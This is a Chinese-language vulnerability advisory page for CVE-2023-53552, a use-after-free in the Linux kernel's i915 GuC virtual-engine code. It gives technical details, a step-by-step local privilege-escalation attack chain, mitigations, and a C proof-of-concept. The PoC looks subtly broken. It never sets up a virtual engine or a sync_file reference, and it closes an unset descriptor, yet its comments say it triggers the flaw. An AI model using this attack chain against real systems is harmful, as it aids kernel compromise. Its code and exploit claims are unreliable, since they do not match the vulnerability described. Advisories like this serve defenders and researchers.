IPBUF安全漏洞报告
English
CVE-2023-53552 CVSS 7.8 高危

CVE-2023-53552 Linux内核i915驱动GuC虚拟引擎释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53552
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 drm/i915图形驱动子系统

相关标签

释放后使用UAFLinux内核i915驱动drm子系统GuC虚拟引擎本地权限提升图形驱动内核漏洞高危漏洞

漏洞概述

CVE-2023-53552是Linux内核drm/i915图形驱动子系统中存在的一个高危释放后使用(Use-After-Free)漏洞。该漏洞位于i915图形驱动对GuC(Graphics microController)虚拟引擎的处理逻辑中。当用户空间通过sync_file或dmabuf(dma-resv)机制持有对i915_request的引用时,这些引用可能会被跨进程无限期地持有。为了避免内存泄漏,内核尝试在request完成后不再保留对其的引用。然而,在fence释放时需要判断rq->engine是否有效且指向硬件引擎(对于非虚拟请求为true)。在GuC虚拟引擎场景下,由于缺少对虚拟引擎的标记机制,导致在request完成后,rq->engine指针可能指向已被释放的虚拟引擎内存区域,从而触发释放后使用漏洞。该漏洞CVSS评分为7.8,属于高危级别,攻击者需要本地低权限访问即可利用,可能导致权限提升、系统崩溃或任意代码执行。该漏洞影响了多个Linux内核稳定版本,已通过cherry-pick方式从上游提交280410677af763f3871b93e794a199cfcf6fb580回溯修复。

技术细节

该漏洞的根本原因在于i915驱动中对GuC虚拟引擎的生命周期管理不当。具体技术细节如下:

1. **引用持有机制**:i915_request对象可能被用户空间通过sync_file或dmabuf(dma-resv)机制捕获并持有,这些引用可以跨进程传递并长期存在。

2. **内存回收策略**:为防止内存泄漏,内核在request完成后会尝试释放对request的内部引用,但这可能导致rq->engine指针指向的引擎结构已被回收。

3. **fence释放逻辑缺陷**:在fence释放回调中,代码需要通过rq->engine判断是否指向有效的硬件引擎。对于非虚拟请求,rq->execution_mask可以准确反映引擎类型;但对于GuC虚拟引擎请求,由于未做特殊标记,代码无法区分虚拟引擎和物理引擎,导致在访问rq->engine时可能触发释放后使用。

4. **修复方案**:通过在rq->execution_mask中增加额外位来标记虚拟引擎,使得在fence释放时能够正确识别虚拟引擎请求,避免访问已释放的引擎结构。

5. **利用方式**:本地攻击者可通过构造特定的GPU命令序列,触发虚拟引擎的request创建和完成流程,在fence释放时触发UAF漏洞,实现内核代码执行或权限提升。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有目标系统的本地低权限访问权限,能够访问i915图形设备节点(如/dev/dri/renderD128)
STEP 2
步骤2:启用GuC提交
确保系统i915驱动启用了GuC(Graphics microController)提交模式,这是触发虚拟引擎路径的前提条件
STEP 3
步骤3:创建sync_file引用
通过sync_file或dmabuf机制创建对i915_request的长期引用,使引用能够跨进程持有
STEP 4
步骤4:提交虚拟引擎请求
向GuC虚拟引擎提交GPU命令,创建对应的i915_request对象
STEP 5
步骤5:等待请求完成
等待request执行完成,此时内核开始释放对request的内部引用
STEP 6
步骤6:触发fence释放
当sync_file或dmabuf引用释放时,触发fence释放回调,访问rq->engine指针
STEP 7
步骤7:触发UAF
由于rq->engine指向已被释放的虚拟引擎内存,触发释放后使用漏洞,可用于权限提升或代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53552 PoC - i915 GuC Virtual Engine UAF // This PoC demonstrates the use-after-free vulnerability in i915 GuC virtual engine handling // Note: Requires GuC submission enabled and access to /dev/dri/renderD128 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/i915_drm.h> int main(int argc, char *argv[]) { int fd; int ret; // Step 1: Open the i915 DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open i915 device"); return 1; } // Step 2: Create a sync file to hold reference to i915_request // This allows the request reference to be held across processes int sync_fd = -1; struct drm_syncobj_create create_sync = { .handle = 1, .flags = 0 }; ret = ioctl(fd, DRM_IOCTL_SYNCOBJ_CREATE, &create_sync); if (ret < 0) { perror("Failed to create sync object"); close(fd); return 1; } // Step 3: Submit work to GuC virtual engine // The virtual engine request will be created struct drm_i915_gem_exec_object2 exec_obj = {0}; struct drm_i915_gem_execbuffer2 execbuf = {0}; exec_obj.handle = 0; exec_obj.flags = 0; execbuf.buffers_ptr = (uintptr_t)&exec_obj; execbuf.buffer_count = 1; execbuf.batch_start_offset = 0; execbuf.batch_len = 8; execbuf.flags = I915_EXEC_RENDER; // Use render engine (can be virtual) ret = ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &execbuf); if (ret < 0) { perror("Failed to submit execbuffer"); close(fd); return 1; } // Step 4: Wait for completion and trigger fence release // The UAF occurs when fence is released and rq->engine is accessed struct drm_i915_gem_wait wait = { .bo_handle = 0, .timeout_ns = -1 }; ret = ioctl(fd, DRM_IOCTL_I915_GEM_WAIT, &wait); // Step 5: Trigger the UAF by accessing the released engine // At this point, the virtual engine may have been freed // but references still exist via sync_file close(sync_fd); close(fd); printf("PoC executed - check kernel logs for UAF detection\n"); return 0; }

影响范围

Linux内核 stable分支 < 5eefc5307c983b59344a4cb89009819f580c84fa
Linux内核 stable分支 < 7fb464d52fa41c31a6fd1ad82888e67c65935d94
Linux内核 stable分支 < 8017a27cec32eac8c8f9430b0a3055840136b856

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)在内核启动参数中添加i915.enable_guc=0禁用GuC提交功能,避免触发虚拟引擎相关代码路径;2)通过文件系统权限限制普通用户对GPU设备节点的访问;3)使用SELinux或AppArmor等强制访问控制机制限制i915驱动的使用;4)监控系统日志,关注i915相关的内核警告和错误信息,及时发现异常行为;5)确保系统启用KASLR、SMEP、SMAP等内核安全加固特性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表